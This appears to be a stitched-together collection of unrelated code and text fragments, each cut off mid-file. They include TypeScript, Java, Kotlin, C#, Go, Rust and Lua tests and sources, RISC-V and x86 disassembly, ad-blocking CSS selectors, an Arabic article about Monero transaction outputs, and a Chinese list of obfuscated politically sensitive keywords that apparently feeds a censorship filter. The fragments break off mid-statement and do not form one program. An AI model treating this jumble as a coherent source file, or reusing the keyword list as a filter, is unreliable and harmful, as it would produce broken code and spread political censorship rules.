    await expect(reader.handle({ credentials, identifier })).resolves.toEqual({});
  });

  it('returns full permissions if the owner is accessing an ACL resource in their pod.', async(): Promise<void> => {
    await expect(reader.handle({ credentials, identifier })).resolves.toEqual({
      [CredentialGroup.agent]: {
        read: true,
        write: true,
        append: true,
        create: true,
        delete: true,
        control: true,
      },
    });
  });
});
import type { DataType } from '../types';

export default function getTemplateForDataType(dataType: DataType, stringTemplate?: boolean) {
    const getStringInitialValue = (type: string) => {
        switch (type) {
            case 'boolean':
                return 'true';
            case 'integer':
                return '0';
            case 'float':
                return '0.0';
            case 'string':
                return '"..."';
            case 'dict':
                return '{}';
            case 'list':
                return '[]';
            case 'regex':
                return '"regexp"';
            default:
                return '""';
        }
    };

    const { properties } = dataType;
    const propertiesList: string[] = [];
    _.map(properties, (propertyObject, propertyName) => {
        let propertyString = `"${propertyName}":`;
        if (!_.isUndefined(propertyObject.default)) {
            if (_.isString(propertyObject.default)) {
                propertyString += `"${propertyObject.default}"`;
            } else {
                const { Json } = Stage.Utils;
                propertyString += Json.getStringValue(propertyObject.default);
            }
        } else {
            propertyString += getStringInitialValue(propertyObject.type);
        }
        propertiesList.push(propertyString);
    });

    let template = `{${_.join(propertiesList, ',')}}`;
    if (!stringTemplate) {
        try {
            template = JSON.parse(template);
        } catch (error) {
            template = '{}';
        }
    }
    return template;
}
/**
 * on 2015-03-09
 * by leo
 */

class AnimalManager
{

    private animalDataArr:UserAnimal[];

    //private animalId:number;
    //private addAnimalData:UserAnimal;

    //private type:number;

    //public ADD:number = 1;
    //public INIT:number = 2;

    public constructor()
    {
        //==========================================


+0x12>

000000b0 <.L38>:
  b0:	000007b7          	lui	a5,0x0
			b0: R_RISCV_HI20	me_env+0x30
			b0: R_RISCV_RELAX	*ABS*+0x30
  b4:	03078793          	addi	a5,a5,48 # 30 <.LVL53+0x2>
			b4: R_RISCV_LO12_I	me_env+0x30
			b4: R_RISCV_RELAX	*ABS*+0x30
  b8:	c43e                	sw	a5,8(sp)
  ba:	000007b7          	lui	a5,0x0
			ba: R_RISCV_HI20	me_env+0x84
			ba: R_RISCV_RELAX	*ABS*+0x84
  be:	08478793          	addi	a5,a5,132 # 84 <.LVL57>
			be: R_RISCV_LO12_I	me_env+0x84
			be: R_RISCV_RELAX	*ABS*+0x84
  c2:	c63e                	sw	a5,12(sp)
  c4:	000007b7          	lui	a5,0x0
			c4: R_RISCV_HI20	me_env+0x12c
			c4: R_RISCV_RELAX	*ABS*+0x12c
  c8:	12c7d783          	lhu	a5,300(a5) # 12c <.LBB104>
			c8: R_RISCV_LO12_I	me_env+0x12c
			c8: R_RISCV_RELAX	*ABS*+0x12c
  cc:	140407a3          	sb	zero,335(s0)
  d0:	00410913          	addi	s2,sp,4

000000d4 <.LVL62>:
  d4:	00f11223          	sh	a5,4(sp)

000000d8 <.LVL63>:
  d8:	00810993          	addi	s3,sp,8

000000dc <.LVL64>:
  dc:	00610a93          	addi	s5,sp,6
  e0:	4a19                	li	s4,6

000000e2 <.L40>:
  e2:	4481                	li	s1,0
  e4:	a80d                	j	116 <.L44>
			e4: R_RISCV_RVC_JUMP	.L44

000000e6 <.L42>:
  e6:	034485b3          	mul	a1,s1,s4
  ea:	0009a783          	lw	a5,0(s3)
  ee:	95be                	add	a1,a1,a5
  f0:	0035c783          	lbu	a5,3(a1) # 3 <sm_scan_bss+0x3>
  f4:	8b89                	andi	a5,a5,2
  f6:	ef99                	bnez	a5,114 <.L41>
			f6: R_RISCV_RVC_BRANCH	.L41
  f8:	14f44503          	lbu	a0,335(s0)
  fc:	4619                	li	a2,6
  fe:	00150793          	addi	a5,a0,1
 102:	03450533          	mul	a0,a0,s4
 106:	14f407a3          	sb	a5,335(s0)
 10a:	9522                	add	a0,a0,s0
 10c:	00000097          	auipc	ra,0x0
			10c: R_RISCV_CALL	memcpy
			10c: R_RISCV_RELAX	*ABS*
 110:	0000


/ 缓存真实的Pinned Cell Name
    private SparseArray<String> mPinnedPositionCellId = new SparseArray<String>();

    // 缓存被Pinned标记的position
    public SparseBooleanArray mIsPinnedSparseArray = new SparseBooleanArray();
    // 缓存被pinned标记的viewType, position
    public SparseIntArray mPinnedViewTypePosition = new SparseIntArray();
    // 缓存被pinned标记的position,Holder
    public SparseArray<LVRecyclerViewHolder> mPinnedPositionHolder = new SparseArray<LVRecyclerViewHolder>();

    public UDBaseRecyclerView(T view, Globals globals, LuaValue metaTable, Varargs initParams) {
        super(view, globals, metaTable, initParams);
    }

    public abstract LVRecyclerView getLVRecyclerView();

    /**
     * mPinnedViewTypePosition是onCreateViewHolder时缓存的,不能清除
     */
    private void restore() {
        mHasPinnedCell = false;
        mIsPinnedSparseArray.clear();
        mPinnedPositionCellId.clear();
        mPinnedViewTypePosition.clear();
    }

    /**
     * notify data changed (section, row) in java
     *
     * @param section
     * @param row
     * @return
     */
    @Override
    public UDBaseRecyclerView reload(Integer section, Integer row) {
        restore();

        final LVRecyclerView recyclerView = getLVRecyclerView();
        if (recyclerView != null) {
            final RecyclerView.Adapter adapter = recyclerView.getLVAdapter();
            if (adapter != null) {
                int diffSectionCount = getDiffSectionCount();

                if (section == null || diffSectionCount != 0) {//如果 section无值，或者section数量变动则更新所有
                    refreshState(recyclerView);
                    adapter.notifyDataSetChanged();
                } else {//如果传了section，row，则表示要更新部分数据
                    int diffTotalCount = getDiffTotalCount();//total count diff
                    boolean isChanged = diffTotalCount == 0;//数据变更，数量未变更
                    boolean isInserted = diffTotalCount > 0;//数量增加
                    boolean isRemoved = diffTotalCount < 0;//数量减少

                    if (row == null) {//row is null, notify whole section
                        int start = getPositionBySectionAndRow(section, 0);
                        int currentRowCount = getRowCount(section);
                        if (isChanged) {//更新整个section，count不变，数据变
                            refreshState(recyclerView);
                            adapter.notifyItemRangeChanged(start, currentRowCount);
                        } else if (isInserted) {//更新整个section，count增加
                            int newRowCount = getRawRowCount(section);
                            int count = Math.abs(newRowCount - currentRowCount);//新增count
                            refreshState(recyclerView);
                            adapter.notifyItemRangeInserted(start, count);
                        } else if (isRemoved) {//更新整个section，count减少
                            int newRowCount = getRawRowCount(section);
                            int count = Math.abs(newRowCount - currentRowCount);//新增count
                            refreshState(recyclerView);
                            adapter.notifyItemRangeRemoved(start, count);
                        }
                    } else {//row not null, notify row
                        int pos = getPositionBySectionAndRow(section, row);
                        refreshState(recyclerView);
                        if (isChanged) {//更新某个元素
                            adapter.notifyItemChanged


ZN6NumberC1Ei,_ZN6NumberC2Ei
	.section	.text._ZN6NumberD2Ev,"axG",@progbits,_ZN6NumberD5Ev,comdat
	.align 2
	.weak	_ZN6NumberD2Ev
	.type	_ZN6NumberD2Ev, @function
_ZN6NumberD2Ev:
.LFB1987:
	.cfi_startproc
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	rdi, rax
	call	_ZN7IntegerD1Ev@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE1987:
	.size	_ZN6NumberD2Ev, .-_ZN6NumberD2Ev
	.weak	_ZN6NumberD1Ev
	.set	_ZN6NumberD1Ev,_ZN6NumberD2Ev
	.section	.text._ZN6NumberC2ERKS_,"axG",@progbits,_ZN6NumberC5ERKS_,comdat
	.align 2
	.weak	_ZN6NumberC2ERKS_
	.type	_ZN6NumberC2ERKS_, @function
_ZN6NumberC2ERKS_:
.LFB1990:
	.cfi_startproc
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	QWORD PTR -16[rbp], rsi
	mov	rax, QWORD PTR -8[rbp]
	mov	rdx, QWORD PTR -16[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	_ZN7IntegerC1ERKS_@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE1990:
	.size	_ZN6NumberC2ERKS_, .-_ZN6NumberC2ERKS_
	.weak	_ZN6NumberC1ERKS_
	.set	_ZN6NumberC1ERKS_,_ZN6NumberC2ERKS_
	.text
	.globl	main
	.type	main, @function
main:
.LFB1985:
	.cfi_startproc
	.cfi_personality 0x9b,DW.ref.__gxx_personality_v0
	.cfi_lsda 0x1b,.LLSDA1985
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 40
	.cfi_offset 3, -24
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	lea	rax, -40[rbp]
	mov	esi, 1
	mov	rdi, rax
.LEHB3:
	call	_ZN6NumberC1Ei
.LEHE3:
	lea	rdx, -40[rbp]
	lea	rax, -32[rbp]
	mov	rsi, rdx
	mov	rdi, rax
.LEHB4:
	call	_ZN6NumberC1ERKS_
.LEHE4:
	mov	ebx, 0
	lea


using Qowaiv.Customization;

namespace Customization.CustomBehavior_specs;

public class ToString
{
    [Test]
    public void supports_none_formattable_raw_types()
    {
        var behavior = new NoneFormattableBehavior();
        behavior.ToString(new(42), "", CultureInfo.InvariantCulture).Should().Be("[42]");
    }

    internal sealed class NoneFormattableBehavior : CustomBehavior<NoneFormattable>
    {
        public override bool TryTransform(string? str, IFormatProvider? formatProvider, [NotNullWhen(true


: PluginContextLightCodeInsightFixtureTestCase() {

    private lateinit var inferDemoCtrlPsiClass: PsiClass

    @Inject
    private lateinit var methodInferHelper: MethodInferHelper

    override fun bind(builder: ActionContextBuilder) {
        super.bind(builder)
        builder.bind(MethodInferHelper::class) { it.with(DefaultMethodInferHelper::class) }
    }

    override fun setUp() {
        super.setUp()
        loadSource(Object::class)
        loadSource(Collection::class)
        loadSource(Map::class)
        loadSource(List::class)
        loadSource(LinkedList::class)
        loadSource(HashMap::class)
        loadFile("model/IResult.java")
        loadFile("model/Result.java")
        inferDemoCtrlPsiClass = loadClass("api/InferDemoCtrl.java")!!
    }

    fun testInfer() {
        var inferReturn: Any? = null
        for (i in 0..2) {
            try {
                inferReturn = methodInferHelper.inferReturn(inferDemoCtrlPsiClass.methods[0])
                break
            } catch (e: Throwable) {
                if (e.message?.contains("Stub index points to a file without PSI") != true) {
                    throw e
                }
            }
        }
        assertEquals(
            "{\"code\":0,\"@required\":{\"code\":false,\"msg\":false,\"data\":false},\"@comment\":{\"code\":\"response code\",\"msg\":\"message\",\"data\":\"response data\"},\"msg\":\"success\",\"data\":[{\"key1\":\"string\",\"@comment\":{\"key1\":\"This is the key for the test\",\"key2\":\"This is a test key valued 666\",\"key3\":\"This is a child for test\"},\"key2\":666,\"key3\":{\"subKey\":\"string\",\"@comment\":{\"subKey\":\"This is the key of the child\"}}},{}]}",
            GsonUtils.toJson(inferReturn)
        )
    }
}package com.itangcent.idea.plugin.api.export.core

import com.google.inject.Inject
import com.intellij.psi.PsiClass
import com.itangcent.intellij.context.ActionContextBuilder
import com.itangcent.intellij.extend.guice.with
import com.itangcent.testFramework.PluginContextLightCodeInsightFixtureTestCase

/**
 * Test case of [DefaultLinkResolver]
 */
internal class DefaultLinkResolverTest : PluginContextLightCodeInsightFixtureTestCase() {

    @Inject
    private lateinit var linkResolver: LinkResolver

    private lateinit var userInfoPsiClass: PsiClass
    private lateinit var resultPsiClass: PsiClass

    override fun setUp() {
        super.setUp()
        userInfoPsiClass = createClass("model/UserInfo.java")!!
        resultPsiClass = createClass("model/Result.java")!!
    }

    override fun bind(builder: ActionContextBuilder) {
        super.bind(builder)

        builder.bind(LinkResolver::class) { it.with(DefaultLinkResolver::class) }
    }

    fun testLinkToClass() {
        assertEquals("[UserInfo(user info)]", linkResolver.linkToClass(userInfoPsiClass))
        assertEquals("[PsiMethod:getId]", linkResolver.linkToClass(userInfoPsiClass.methods[0]))
        assertEquals("[PsiField:id]", linkResolver.linkToClass(userInfoPsiClass.fields[0]))
    }

    fun testLinkToMethod() {
        assertEquals("[PsiClass:UserInfo]", linkResolver.linkToMethod(userInfoPsiClass))
        assertEquals(
            "[com.itangcent.model.UserInfo#id(user id)]",
            linkResolver.linkToMethod(userInfoPsiClass.methods[0])
        )
        assertEquals(
            "[com.itangcent.model.Result#success(T)(create success result)]",


Card2, #advCard3, #breadcrumb_ad, #PublicidadCentro, #ads_absolute_left, #Ad-0-0-Slider, a[href^=\"http:\/\/c.ketads.com\/\"], #ADVERTISE_HERE_ROW, .ad-widget-list, #tizeri_vnizu, #cube_ad, #liPublicidadeAdsense, .advert_header onglet, .boxadcont, .dfp-banner-slot, .homepage-ad-block, #nolix, #div-insticator-ad-1, #div-insticator-ad-2, .view-image-ads, .adver_home, img[alt=\"JOINPKV\" i], #pub_criteo, a[href^=\"http:\/\/www.gfrevenge.com\/landing\/\"], .widget_plugrush_widget, a[href^=\"https:\/\/goraps.com\/\"], a[href$=\"\/ligapoker\"], .google-text-ads, .area1_2_ad1, .inplayer_banners, .gamesPage_ad_container, .advertisement-area { display: none!important; }\n#linkAdSingle, #icePage_SearchResults_ads0_SponsoredLink, [href^=\"https:\/\/bisakaya.org\"], .adContainerg6, #ad-secondary-sidebar-1, .noticeAd_pc_wrap, .post_advert, #populate_ad_textupper, #advFooter, .ad-orizzontale, .sponsors__wide, .PublicidadeSidebarSuperior, #publicidadheadernota, a[href^=\"http:\/\/affiliazioniads.snai.it\/\"], .ad--showmob, .ads_160_600, .ad_300_250_wrapper, .xadv-invid, #adv_mpu1, #adv_mpu2, #hly_inner_page_google_ad, a[href^=\"https:\/\/adsrv4k.com\/\"], .ad_frame, #leftFloat + #rightFloat, #skyscraperad, .ads-top-spacer, .buttonads, .player_hide_ad, #pub336bas-criteo, img[alt=\"MGMPOKER\" i], #ad-top-left, #ad_after_navbar, #rightCouple + #leftFloat, .advertisingLrec, .header-ad-region, img[alt=\"PASARPOKER\" i], .middleBannerAd, #sponsorbox, .werbung-rectangle, .pencil_ad, img[alt=\"Dewa Poker\" i], .sidebarAd, #leaderboard_bottom_ad, .adv-box-holder, .sidebarad160, object[width=\"680\"][height=\"125\"], .ads_460up, #HALFPAGE3_advadagio, .text-ad-top, .ADInfo, .backgroundAd, #tmn_ad_1, #tmn_ad_2, #tmn_ad_3, a[href*=\".17yyba.com\/\"], .rgt_ad, [href^=\"http:\/\/hokiliga.\"], .position-ads, #adzoneheader, .sponsor_bar, a[href^=\"https:\/\/checkout.hidemyass.com\/affiliate.php?\"] > img, .bannerAdvert, .left-ad180, .sky_scraper_ad, #footerpub1, #adimg0, #adimg3, #adimg4, #adimg6, .ad-rectangle-long, #footerpub2, .ad_med, .sponsored_sidepanel, #footerpub3, a[href^=\"https:\/\/blockadz.com\/?\"], #homeTopRightAd, #zone_a_ad, .advertWrapper, .advertisement-before, #ctl00_Content_SquareAd_AdBox, .google_ad_container, #ctl00_cphMain_adView_dlAds_ctl01_advert_AboveAds_divOther, #topnav-ad-shell, #ad_ph_1, .dc-ad, #epmads-holder, .content


AAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH3gEKDjA70u7s9gAAAMZJREFUOMvtksFpwzAUhr9fcUsWyAQewWDIHt6iLrlriBDIBl4maARPYNH6VtAh2FEuCSQksUV77Qc66Ef63nvw5JyLTNA0DXme03UdVVU9PnDOxWEYJk9d109z733MrqLN/oAkiBEJEAjYfqwJIbzsMLu9vC9XoIgxJ94yEX6+meNOoAXACWPAmEsnqQIBx/CFgEGRo0DEdMHuc81vkPd+soy1lqIoaNsWa+2jYG4PkkYoy/IuHMcx6XPf9xj+yL8gYQ/mOAPpeHRKiIdANAAAAABJRU5ErkJggg==")
        no-repeat scroll right bottom;
}
table thead a[href*="&modify=1"] {
    width: 0;
    display: inline-block;
    height: 16px;
    overflow: hidden;
    text-decoration: none;
    padding: 0 0 0 16px;
    vertical-align: middle;
}
table td:first-child {
    white-space: nowrap;
}

input[name="delete"],
input[name="drop"] {
    background: transparent
        url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHSSURBVHjapFM5bsJQEB2zSIDFJrHYpEtyAyoKJAp6CrqIkBPkNDlBAKXjBEgUpKOBCyQNijFiEZvZl8z7wsjESYpkpNFfPO/Nmz9j6Xg80n/M9fWi3W7fMOnd4XAo8qogAbvO5xKvL6lU6s0aL1kVMDjP5ye/36+Gw2FyOp3EQFqtVtTr9WixWHT5/JhOp6s2ghP4ORaLyaFQiGazGa3Xa0HgdrvJ6/WSpmk0Go0MjnvIZDLVM0Gr1brm/WskEkkA3O/3abvdQjq5XC6xgoiVka7rNB6PNT6ns9nsu+OkpODxeBLBYJAGgwHt9/uzQ8Vms6Hdbie+KYqC+ASTFrARBMx2HwgEaDKZiHqn0yktl0uxtzrMMAyKx+MCc+4Cs13hwQCC1GQy+W3Lms2mUIUygbEqEBLNun8z8zswVgUfLO0WD4Z6kekn8/l8okNM8GFVUMYDoVWQ6HA4bEAzoyzL1O12kbRsJajwhYZhiUajJEnShWSAQaqqKnU6HahEGysXg9RoNPJ8+cwZZLSKp47m8/k5Kxzg4XBocNxDLper2ka5Xq+LUeatilahJLN1mEJ+ZDHKJthGAKvVauJnYi9ysHIqQee1xOsLg3/+mf5inwIMAJMhb74NwG5wAAAAAElFTkSuQmCC")
        no-repeat scroll left center;
    padding: 1px 5px 1px 18px;
    border: 0;
    cursor: pointer;
    font-size: 0.9em;


ن التبرعات واحدة تلو الأخرى ، لأن التبرع الأول سيستخدم أحد مخرجات XMR العشرة (وانتظر 10 تأكيدات لتلقي 5 XMR مرة أخرى في التغيير) ، وسيستخدم التبرع الثاني الـ 10 XMR الأخرى الإخراج. </p>\n\n<p> تحتوي بعض محافظ العملات المشفرة على ميزة تسمى \"إدارة المخرجات\" ، والتي تعرض ببساطة للمستخدم المخرجات التي يمتلكها حاليًا (بالإضافة إلى مجموعها الإجمالي) ، بالإضافة إلى السماح له باختيار أي منها يريد استخدامه عند إنفاقه عملتهم المشفرة. </p>\n\n<p> اعتبارًا من الآن ، تقوم واجهة المستخدم الرسومية Monero بتحديد المخرجات للمستخدمين تلقائيًا ، حيث يؤدي اختيار المستخدمين لمخرجاتهم الخاصة غالبًا إلى الارتباك أو الإضرار بالخصوصية في بعض الحالات. ومع ذلك ، هناك محافظ قيد الإنشاء ، مثل مشروع محفظة Feather الجديد ، والتي ستحتوي على ميزات إدارة المخرجات هذه. </p>\n\n<p> كنا نتحدث كثيرًا عن جزء الإرسال ، لكن شيئًا رائعًا يحدث عند الطرف المتلقي. بالعودة إلى مثالنا المتمثل في إرسال 3 XMR إلى شخص ما ، واستخدام مخرجات 1.5 XMR و 2.25 XMR في المعاملة (مع توقع تغيير 0.75 XMR) ، لا يتلقى جهاز الاستقبال مخرجات 1.5 XMR و 2.25 XMR. وبدلاً من ذلك يتلقون إخراج ONE 3 XMR. </p>\n\n<p> في الخلفية ، يجمع البروتوكول جميع المخرجات المستخدمة للإنفاق ، ويعطي المستلم ناتجًا واحدًا من المبلغ المدفوع ، ويرسل ناتج تغيير واحد إلى المرسل. لذلك سيتلقى المرسل أيضًا ناتجًا واحدًا كنوع من التغيير ، بغض النظر عما إذا كان قد استخدم مخرجات اثنين أو ثلاثة أو عشرة لإرسال المعاملة. </p>\n\n<p> نأمل أن يكون هذا قد أوضح بعض الالتباس حول المخرجات وكيفية عمل المحاسبة الداخلية للبروتوكول ، بالإضافة إلى مواج


",
		},
	})

	Expect(err).To(BeNil())
	req, ok := ctx.MockChannel.Msg.(*vpp_abf.AbfPolicyAddDel)
	Expect(ok).To(BeTrue())
	Expect(req.IsAdd).To(BeTrue())
	Expect(req.Policy.PolicyID).To(Equal(uint32(1)))
	Expect(req.Policy.ACLIndex).To(Equal(uint32(2)))
	Expect(req.Policy.NPaths).To(Equal(uint8(2)))
	Expect(req.Policy.Paths[0].SwIfIndex).To(Equal(uint32(5)))
	Expect(req.Policy.Paths[0].Nh.Address.GetIP4()).To(BeEquivalentTo(ip_types.IP4Address([4]uint8{10, 0, 0, 1})))
	Expect(req.Policy.Paths[1].SwIfIndex).To(Equal(uint32(10)))
	Expect(req.Policy.Paths[1].Nh.Address.GetIP6()).To(BeEquivalentTo(ip_types.IP6Address([16]uint8{255, 255})))
}

func TestAddABFPolicyError(t *testing.T) {
	ctx, abfHandler, _ := abfTestSetup(t)
	defer ctx.TeardownTestCtx()

	ctx.MockVpp.MockReply(&vpp_abf.AbfPolicyAddDelReply{
		Retval: 1,
	})

	err := abfHandler.AddAbfPolicy(1, 2, nil)

	Expect(err).ToNot(BeNil())
}

func TestDeleteABFPolicy(t *testing.T) {
	ctx, abfHandler, ifIndexes := abfTestSetup(t)
	defer ctx.TeardownTestCtx()

	ctx.MockVpp.MockReply(&vpp_abf.AbfPolicyAddDelReply{})

	ifIndexes.Put("if1", &ifaceidx.IfaceMetadata{
		SwIfIndex: 5,
	})
	ifIndexes.Put("if2", &ifaceidx.IfaceMetadata{
		SwIfIndex: 10,
	})

	err := abfHandler.DeleteAbfPolicy(1, []*abf.ABF_ForwardingPath{
		{
			InterfaceName: "if1",
			NextHopIp:     "10.0.0.1",
		},
		{
			InterfaceName: "if2",
			NextHopIp:     "ffff::",
		},
	})

	Expect(err).To(BeNil())
	req, ok := ctx.MockChannel.Msg.(*vpp_abf.AbfPolicyAddDel)
	Expect(ok).To(BeTrue())
	Expect(req.IsAdd).To(BeFalse())
	Expect(req.Policy.PolicyID).To(Equal(uint32(1)))
	Expect(req.Policy.NPaths).To(Equal(uint8(2)))
	Expect(req.Policy.Paths[0].SwIfIndex).To(Equal(uint32(5)))
	Expect(req.Policy.Paths[0].Nh.Address.XXX_UnionData[:4]).To(BeEquivalentTo(net.ParseIP("10.0.0.1").To4()))
	Expect(req.Policy.Paths[1].SwIfIndex).To(Equal(uint32(10)))
	Expect(req.Policy.Paths[1].Nh.Address.XXX_UnionData[:]).To(BeEquivalentTo(net.ParseIP("ffff::").To16()))
}

func TestDeleteABFPolicyError(t *testing.T) {
	ctx, abfHandler, _ := abfTestSetup(t)
	defer ctx.TeardownTestCtx()

	ctx.MockVpp.MockReply(&vpp_abf.AbfPolicyAddDelReply{
		Retval: 1,
	})

	err := abfHandler.DeleteAbfPolicy(1, nil)

	Expect(err).ToNot(BeNil())
}

func TestAttachABFInterfaceIPv4(t *testing.T) {
	ctx, abfHandler, _ := abfTestSetup(t)
	defer ctx.TeardownTestCtx()

	ctx.MockVpp.MockReply(&vpp_abf.AbfItfAttachAddDel


ch_proof(proof_id: &Vec<u8>) -> Result<Vec<u8>, http::Error> {
		let deadline = sp_io::offchain::timestamp().add(Duration::from_millis(100_000));
		// Combine the the `proof_id` with a certain url
		let url = "https://ipfs.infura.io:5001/api/v0/cat?arg=".to_owned() +
			sp_std::str::from_utf8(proof_id).unwrap();

		let request = http::Request::get(&url);

		let pending = request.deadline(deadline).send().map_err(|_| http::Error::IoError)?;
		let response = pending.try_wait(deadline).map_err(|_| http::Error::DeadlineReached)??;

		// Let's check the status code before we proceed to reading the response.
		if response.code != 200 {
			return Err(http::Error::Unknown)
		}

		// Next we want to fully read the response body and collect it to a vector of bytes.
		// Note that the return object allows you to read the body in chunks as well
		// with a way to control the deadline.
		let body = response.body().collect::<Vec<u8>>();
		// log::warn!(target: "starks-verifier", " body is : {:?}", body.clone());

		Ok(body)
	}

	/// Use Stark_verify to verify every program_hash with proof
	fn stark_verify(
		program_hash: &[u8; 32],
		public_inputs: Vec<u128>,
		outputs: Vec<u128>,
		proof: &[u8],
	) -> OffchainResult<T, bool> {
		sp_starks::starks::verify(program_hash, &public_inputs, &outputs, proof)
			.map_err(|_| OffchainErr::VerificationFailed)
	}

	// Return index of on-chain authorities and its corresponding local public key
	fn local_authority_keys() -> impl Iterator<Item = (u32, T::AuthorityId)> {
		// On-chain storage
		let authorities = Keys::<T>::get();
		// Local keystore
		let mut local_keys = T::AuthorityId::all();
		local_keys.sort();
		authorities.into_iter().enumerate().filter_map(move |(index, authority)| {
			local_keys
				.binary_search(&authority)
				.ok()
				.map(|location| (index as u32, local_keys[location].clone()))
		})
	}

	/// Pick an on-chain tasks to execute which is not included in `local_tasks`
	fn task_to_execute(
		local_tasks: &BTreeSet<(T::AccountId, ([u8; 32], Vec<u128>))>,
	) -> OffchainResult<T, (T::AccountId, ([u8; 32], Vec<u128>))> {
		//On-chain ready-to-verify tasks,put all task_hash of OngoingTasks into a vec.
		let ongoing_tasks_list = BTreeSet::from_iter(OngoingTasks::<T>::iter().map(
			|(account_id, (program_hash, public_inputs), _)| {
				(account_id, (program_hash, public_inputs))
			},
		));

		// Find any one task that is not executed
		// TODO： find all tasks that are not executed
		let mut tasks_not_executed: Vec<_> =
			ongoing_tasks_list.difference(local_tasks).cloned().collect();

		// return the task to execute
		tasks_not_executed.pop().ok_or(OffchainErr::NoTaskToExecute)
	}

	fn authority_len() -> u32 {
		Self::keys().len() as u32
	}

	fn initialize_keys(keys: &[T::AuthorityId]) {
		if !keys.is_empty() {
			assert!(Keys::<T>::get().is_empty(), "Keys are already initialized!");
			Keys::<T>::put(keys);
		}


P*'},
{'80802',	'敢跟pP*不向pP*',	'敢跟pP*不向pP*'},
{'80803',	'1947屆學長',	'1947屆學長'},
{'80804',	'上海交通大學機電係學長',	'上海交通大學機電係學長'},
{'80805',	'1947届学长',	'1947届学长'},
{'80806',	'上海交通大学机电系学长',	'上海交通大学机电系学长'},
{'80807',	'林則徐的茍',	'林則徐的茍'},
{'80808',	'林则徐的苟',	'林则徐的苟'},
{'80809',	'巴pP*拿pP*马pP*文pP*件',	'巴pP*拿pP*马pP*文pP*件'},
{'80810',	'黃磚5國',	'黃磚5國'},
{'80811',	'黄砖5国',	'黄砖5国'},
{'80812',	'x1F1E8x1F1F3dream',	'x1F1E8x1F1F3dream'},
{'80813',	'眼鏡老人時間',	'眼鏡老人時間'},
{'80814',	'眼镜老人时间',	'眼镜老人时间'},
{'80815',	'鄧噠噠',	'鄧噠噠'},
{'80816',	'邓哒哒',	'邓哒哒'},
{'80817',	'妳説我壹箇pP*怎麼就',	'妳説我壹箇pP*怎麼就'},
{'80818',	'你说我一个pP*怎么就',	'你说我一个pP*怎么就'},
{'80819',	'鄧皇',	'鄧皇'},
{'80820',	'妳悳勝',	'妳悳勝'},
{'80821',	'你德胜',	'你德胜'},
{'80822',	'稲窃',	'稲窃'},
{'80823',	'稲可稻',	'稲可稻'},
{'80824',	'稲上自由飞',	'稲上自由飞'},
{'80825',	'畫圈傢族',	'畫圈傢族'},
{'80826',	'画圈家族',	'画圈家族'},
{'80827',	'[^學復]習媽媽|^習媽媽',	'[^學復]習媽媽|^習媽媽'},
{'80828',	'[^学复]习妈妈|^习妈妈',	'[^学复]习妈妈|^习妈妈'},
{'80829',	'葉什麼英',	'葉什麼英'},
{'80830',	'叶什么英',	'叶什么英'},
{'80831',	'硃習',	'硃習'},
{'80832',	'朱习',	'朱习'},
{'80833',	'可愛的卡通人偶',	'可愛的卡通人偶'},
{'808


	local luaOut = assert(pp.processString{ code=[[
		!startInterceptingOutput()
		local foo  = bar
		!local lua = stopInterceptingOutput():gsub("(%a+) *= *(%a+)", "%2 = %1")
		$lua
	]] })
	assertCodeOutput(luaOut, [[local bar = foo]])

	-- Invalid: Unbalanced interception start/stop calls.
	assert(not pp.processString{ code=[[ !startInterceptingOutput() ]]})
	assert(not pp.processString{ code=[[ !stopInterceptingOutput()  ]]})
end)

doTest("Resources and evaluation", function()
	local pp = ppChunk()

	assert(pp.processString{
		code     = [[ !assert(loadResource("x=x+1") == "x=x+1") ]],
		onInsert = function(name)  return name  end,
	})

	_G.   x = 8 ; assert(pp.evaluate("2^x"       ) == 2^x) ; _G.x = nil
	local x = 8 ; assert(pp.evaluate("2^x", {x=x}) == 2^x)
	assert(not pp.evaluate("2^x")) -- (Global) x should be nil.

	local v, err = pp.evaluate("")
	assert(not v)
	assert(err)

	if jit then
		assert(         assert(pp.evaluate"0b101"   )  == 5)
		assert(tonumber(assert(pp.evaluate"123ULL"  )) == 123)
		assert(tonumber(assert(pp.evaluate"0x123ULL")) == 0x123)
	end
end)

doTest("Indentation", function()
	local pp = ppChunk()

	assert(pp.getIndentation(" \t foo") == " \t ")
	assert(pp.getIndentation(" \n foo") == " ")

	assertCodeOutput(assert(pp.processString{ code=    "\t   \tindent = !(getCurrentIndentationInOutput(4))"    }), [[indent = 8]])
	assertCodeOutput(assert(pp.processString{ code="\n\n\t   \tindent = !(getCurrentIndentationInOutput(4))\n\n"}), [[indent = 8]])

	-- Spaces.
	local indent, expect = pp.getIndentation(""        , 4), 0  ; if indent ~= expect then  error(expect.." "..indent)  end
	local indent, expect = pp.getIndentation(" "       , 4), 1  ; if indent ~= expect then  error(expect.." "..indent)  end
	local indent, expect = pp.getIndentation("  "      , 4), 2  ; if indent ~= expect then  error(expect.." "..indent)  end

	-- Tab last.
	local indent, expect = pp.getIndentation("\t"      , 4), 4  ; if indent ~= expect then  error(expect.." "..indent)  end
	local indent, expect = pp.getIndentation(" \t"     , 4), 4  ; if indent ~= expect then  error(expect.." "..indent)  end
	local indent, expect = pp.getIndentation("  \t"    , 4), 4  ; if indent ~= expect then  error(expect.." "..indent)  end
	local indent, expect = pp.getIndentation("   \t"   , 4), 4  ; if indent ~= expect then  error(expect.." "..indent)  end
